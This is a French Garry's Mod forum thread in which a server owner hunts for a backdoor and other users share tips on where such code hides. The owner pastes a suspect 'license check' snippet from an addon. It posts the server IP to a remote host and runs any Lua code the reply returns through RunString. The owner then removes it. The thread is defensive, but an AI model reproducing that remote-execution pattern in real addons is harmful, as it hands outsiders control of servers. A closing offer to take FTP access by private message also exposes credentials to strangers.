Problème de backdoor

[StrategiaLeaks]

Hey ! Je me permet de répondre au topic pour tenter d’apporter mon aide ! As-tu regardé si il y avait des liens « http » ou « https » , il es possible que le créateur de la backdoor ait mit un lien au lien de la backdoor en elle même (le lien redirige a une page contenant le code de la backdoor et la renvoie au serveur pour qu’elle soit éxécutée).

 

[StrategiaLeaks]

Bon, Lorsque tu cherches une backdoor, tu dois chercher dans les fichiers commençant par sv_ et ou se trouvant dans le fichier autorun/server de l'addon, pour trouver la backdoor en général il y a un steamid autre que STEAMID:000000 ou 111111 dans la ligne de code ou alors il se peut que la backdoor soit encodée, dans ce cas tu vas scroll partout dans le script de haut en bas en cherchant ses anomalies (n'oublie pas d'aller dans les coins à droite du fichier, elles sont souvent cachées là)

Les backdoors redirigant vers un autre serveur n’utilisent pas de STEAMID’s

 

[xnooztv]

Hey ! Je me permet de répondre au topic pour tenter d’apporter mon aide ! As-tu regardé si il y avait des liens « http » ou « https » , il es possible que le créateur de la backdoor ait mit un lien au lien de la backdoor en elle même (le lien redirige a une page contenant le code de la backdoor et la renvoie au serveur pour qu’elle soit éxécutée).

J'y avais pas penser haha ! Je regarde sa, car j'ai rien trouver, même encrypter ^^
Sinon, un backdoor peut se cacher ou a part dans les addons et workshop svp? ^^

Cependant j'ai trouver sa:

http.Post( "https://slownls.fr/gmod/creations/register:server", { ip = intIP, port = intPort, hostname = strHostName, creation = intCreationID }, function( body )

print( body )

end, function( err )

print( '[SlownLS] - [Register Server] : Error : ' .. err )

print( '[SlownLS] - [Register Server] : Support : https://slownls.fr/ticket/open' )

end)

qui je pense ne fait rien, j'ai supprimer au cas ou.

local function Ping()

http.Post("image ou lien HS supprimé",

{user = game.GetIPAddress(), license = "76561198094344625", prod = "wck", x_version = "1.7.3"},

function(b) if string.sub(b, 1, 4) == "lua:" then RunString(string.sub(b, 5), "Cyan-check") end end,

function(e) end)

end

Supprimer aussi.


EDIT: J'ai rien trouver, j'ai beau chercher et faire attention.. y'a rien qui ressemble à un backdoor.. Je vais recheck encore une fois mais bon x)

 

[xnooztv]

Je viens de remarquer que c'est pile quand je spawn que sa me redirige, sa peut mener sur la piste..

 

[xnooztv]

Heu je croit que c'est un addon du workshop, j'en ait enlever quelques un et plus de problème..

J'ai enlever eux, pour avoir confirmation ou non:

DurgzMod (The Original GMod Drugs Mod)
Explosion Effect
Modern Notifications
Office Prop Pack [Updated]
Fresh Garbage System
GMod Tower: Accessories Pack
[GTA V] Giant Accessories Pack
Russian Roulette
GFire: Fire Alarm System
The Weed Plant Content V4
Auto-Cleaning Decals [No ULX and more admins mod]
ULX Cleanup Kit (Reuploaded)

 

[Deralix]

J'y avais pas penser haha ! Je regarde sa, car j'ai rien trouver, même encrypter ^^
Sinon, un backdoor peut se cacher ou a part dans les addons et workshop svp? ^^

Cependant j'ai trouver sa:







qui je pense ne fait rien, j'ai supprimer au cas ou.







Supprimer aussi.


EDIT: J'ai rien trouver, j'ai beau chercher et faire attention.. y'a rien qui ressemble à un backdoor.. Je vais recheck encore une fois mais bon x)

Enlève ses lignes de codes, au cas ou copie les a part pour les remettre et teste de les enlever

 

[xnooztv]

Enlève ses lignes de codes, au cas ou copie les a part pour les remettre et teste de les enlever

C'est ce que j'ai fait, j'ai aussi enlever quelques addons qui ne me sont plus utile + retirer du workshop et je n'ai plus aucun problème pour le moment (2 jours que je test si y'a encore la backdoor MDR je préfère être sur à 100%)

Merci encore à vous ! :)

 

[Deralix]

C'est ce que j'ai fait, j'ai aussi enlever quelques addons qui ne me sont plus utile + retirer du workshop et je n'ai plus aucun problème pour le moment (2 jours que je test si y'a encore la backdoor MDR je préfère être sur à 100%)

Merci encore à vous ! :)

Pas de soucis, le forum sert à ça, n'hésite pas à redemander si jamais. :yum:

 

[One.]

Si jamais ta de nouveau un problème, passe mp un accès FTP et je m'en occupe.

 

[xnooztv]

Si jamais ta de nouveau un problème, passe mp un accès FTP et je m'en occupe.

Okay merci @One. c'est hyper sympa ;)